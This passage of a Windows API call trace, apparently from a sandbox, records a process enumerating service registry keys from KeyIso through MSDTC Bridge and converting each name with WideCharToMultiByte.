lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0223.600] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0223.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0223.600] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0223.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0223.600] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0223.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0223.601] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0223.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0223.601] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0223.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f16e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0223.601] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0223.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0223.601] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0223.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0223.601] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0223.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0223.601] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0223.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0223.602] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0223.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0223.602] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0223.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0223.602] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0223.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0223.602] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0223.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0223.602] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0223.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0223.602] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0223.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0223.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0223.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0223.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0223.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0223.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0223.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0223.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0223.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0223.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0223.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0223.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1a48, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0223.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0223.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0223.604] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0223.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0223.604] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0223.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0223.604] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0223.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0223.604] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0223.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0223.604] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0223.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0223.604] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0223.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0223.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f16e8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0223.605] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0223.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0223.605] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0223.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0223.605] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0223.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0223.605] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0223.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0223.605] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0223.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0223.605] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0223.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0223.606] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0223.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0223.606] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0223.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0223.606] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0223.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0223.606] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0223.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0223.606] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0223.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0223.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a48, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0223.606] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 